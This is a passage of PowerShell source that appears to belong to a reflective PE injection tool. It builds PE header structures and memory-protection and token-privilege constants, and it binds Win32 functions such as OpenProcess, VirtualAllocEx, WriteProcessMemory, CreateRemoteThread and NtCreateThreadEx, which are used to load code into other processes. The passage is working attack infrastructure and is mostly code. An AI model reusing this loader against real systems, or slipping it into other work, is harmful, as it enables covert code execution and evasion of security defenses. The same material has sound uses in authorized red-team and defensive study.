410 | ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
411 | ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
412 | ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
413 | $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
414 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
415 |
416 | #Struct IMAGE_NT_HEADERS64
417 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
418 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
419 | $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
420 | $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
421 | $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
422 | $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
423 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
424 |
425 | #Struct IMAGE_NT_HEADERS32
426 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
427 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
428 | $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
429 | $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
430 | $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
431 | $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
432 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
433 |
434 | #Struct IMAGE_DOS_HEADER
435 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
436 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
437 | $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
438 | $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
439 | $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
440 | $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
441 | $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
442 | $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
443 | $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
444 | $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
445 | $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
446 | $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
447 | $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
448 | $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
449 | $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
450 | $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
451 |
452 | $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
453 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
454 | $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
455 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
456 | $e_resField.SetCustomAttribute($AttribBuilder)
457 |
458 | $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
459 | $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
460 |
461 | $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
462 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
463 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
464 | $e_res2Field.SetCustomAttribute($AttribBuilder)
465 |
466 | $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
467 | $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
468 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
469 |
470 | #Struct IMAGE_SECTION_HEADER
471 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
472 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
473 |
474 | $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
475 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
476 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
477 | $nameField.SetCustomAttribute($AttribBuilder)
478 |
479 | $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
480 | $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
481 | $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
482 | $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
483 | $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
484 | $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
485 | $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
486 | $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
487 | $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
488 | $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
489 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
490 |
491 | #Struct IMAGE_BASE_RELOCATION
492 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
493 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
494 | $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
495 | $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
496 | $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
497 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
498 |
499 | #Struct IMAGE_IMPORT_DESCRIPTOR
500 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
501 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
502 | $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
503 | $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
504 | $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
505 | $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
506 | $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
507 | $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
508 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
509 |
510 | #Struct IMAGE_EXPORT_DIRECTORY
511 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
512 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
513 | $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
514 | $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
515 | $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
516 | $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
517 | $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
518 | $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
519 | $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
520 | $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
521 | $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
522 | $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
523 | $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
524 | $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
525 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
526 |
527 | #Struct LUID
528 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
529 | $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
530 | $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
531 | $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
532 | $LUID = $TypeBuilder.CreateType()
533 | $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
534 |
535 | #Struct LUID_AND_ATTRIBUTES
536 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
537 | $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
538 | $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
539 | $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
540 | $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
541 | $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
542 |
543 | #Struct TOKEN_PRIVILEGES
544 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
545 | $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
546 | $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
547 | $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
548 | $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
549 | $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
550 |
551 | return $Win32Types
552 | }
553 |
554 | Function Get-Win32Constants
555 | {
556 | $Win32Constants = New-Object System.Object
557 |
558 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
559 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
560 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
561 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
562 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
563 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
564 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
565 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
566 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
567 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
568 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
569 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
570 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
571 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
572 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
573 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
574 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
575 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
576 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
577 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
578 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
579 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
580 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
581 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
582 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
583 | $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
584 | $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
585 | $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
586 | $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
587 |
588 | return $Win32Constants
589 | }
590 |
591 | Function Get-Win32Functions
592 | {
593 | $Win32Functions = New-Object System.Object
594 |
595 | $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
596 | $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
597 | $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
598 | $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
599 |
600 | $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
601 | $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
602 | $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
603 | $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
604 |
605 | $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
606 | $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
607 | $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
608 | $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
609 |
610 | $memsetAddr = Get-ProcAddress msvcrt.dll memset
611 | $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
612 | $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
613 | $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
614 |
615 | $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
616 | $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
617 | $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
618 | $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
619 |
620 | $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
621 | $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
622 | $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
623 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
624 |
625 | $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
626 | $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
627 | $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
628 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
629 |
630 | $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
631 | $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
632 | $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
633 | $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
634 |
635 | $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
636 | $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
637 | $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
638 | $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
639 |
640 | $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
641 | $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
642 | $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
643 | $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
644 |
645 | $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
646 | $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
647 | $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
648 | $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
649 |
650 | $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
651 | $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
652 | $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
653 | $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
654 |
655 | $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
656 | $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
657 | $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
658 | $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
659 |
660 | $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
661 | $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
662 | $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
663 | $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
664 |
665 | $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
666 | $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
667 | $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
668 | $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
669 |
670 | $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
671 | $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
672 | $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
673 | $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
674 |
675 | $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
676 | $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
677 | $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
678 | $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
679 |
680 | $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
681 | $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
682 | $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
683 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
684 |
685 | $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
686 | $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
687 | $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
688 | $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
689 |
690 | $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
691 | $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
692 | $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
693 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
694 |
695 | $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
696 | $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
697 | $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
698 | $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
699 |
700 | $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
701 | $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
702 | $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
703 | $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
704 |
705 | $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
706 | $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
707 | $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
708 | $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
709 |
710 | # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
711 | if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
712 | $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
713 | $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
714 | $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
715 | $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
716 | }
717 |
718 | $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
719 | $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
720 | $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
721 | $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
722 |
723 | $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
724 | $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
725 | $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
726 | $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
727 |
728 | return $Win32Functions
729 | }
730 | #####################################
731 |
732 |
733 | #####################################
734 | ########### HELPERS ############
735 | #####################################
736 |
737 | #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
738 | #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
739 | Function Sub-SignedIntAsUnsigned
740 | {
741 | Param(
742 | [Parameter(Position = 0, Mandatory = $true)]
743 | [Int64]
744 | $Value1,
745 |
746 | [Parameter(Position = 1, Mandatory = $true)]
747 | [Int64]
748 | $Value2
749 | )
750 |
751 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
752 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
753 | [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
754 |
755 | if ($Value1Bytes.Count -eq $Value2Bytes.Count)
756 | {
757 | $CarryOver = 0
758 | for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
759 | {
760 | $Val = $Value1Bytes[$i] - $CarryOver
761 | #Sub bytes
762 | if ($Val -lt $Value2Bytes[$i])
763 | {
764 | $Val += 256
765 | $CarryOver = 1
766 | }
767 | else
768 | {
769 | $CarryOver = 0
770 | }
771 |
772 |
773 | [UInt16]$Sum = $Val - $Value2Bytes[$i]
774 |
775 | $FinalBytes[$i] = $Sum -band 0x00FF
776 | }
777 | }
778 | else
779 | {
780 | Throw "Cannot subtract bytearrays of different sizes"
781 | }
782 |
783 | return [BitConverter]::ToInt64($FinalBytes, 0)
784 | }
785 |
786 |
787 | Function Add-SignedIntAsUnsigned
788 | {
789 | Param(
790 | [Parameter(Position = 0, Mandatory = $true)]
791 | [Int64]
792 | $Value1,
793 |
794 | [Parameter(Position = 1, Mandatory = $true)]
795 | [Int64]
796 | $Value2
797 | )
798 |
799 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
800 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
801 | [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
802 |
803 | if ($Value1Bytes.Count -eq $Value2Bytes.Count)
804 | {
805 | $CarryOver = 0
806 | for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
807 | {
808 | #Add bytes
809 | [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
810 |
811 | $FinalBytes[$i] = $Sum -band 0x00FF
812 |
813 | if (($Sum -band 0xFF00) -eq 0x100)
814 | {
815 | $CarryOver = 1
816 | }
817 | else
818 | {
819 | $CarryOver = 0
820 | }
821 | }
822 | }
823 | else
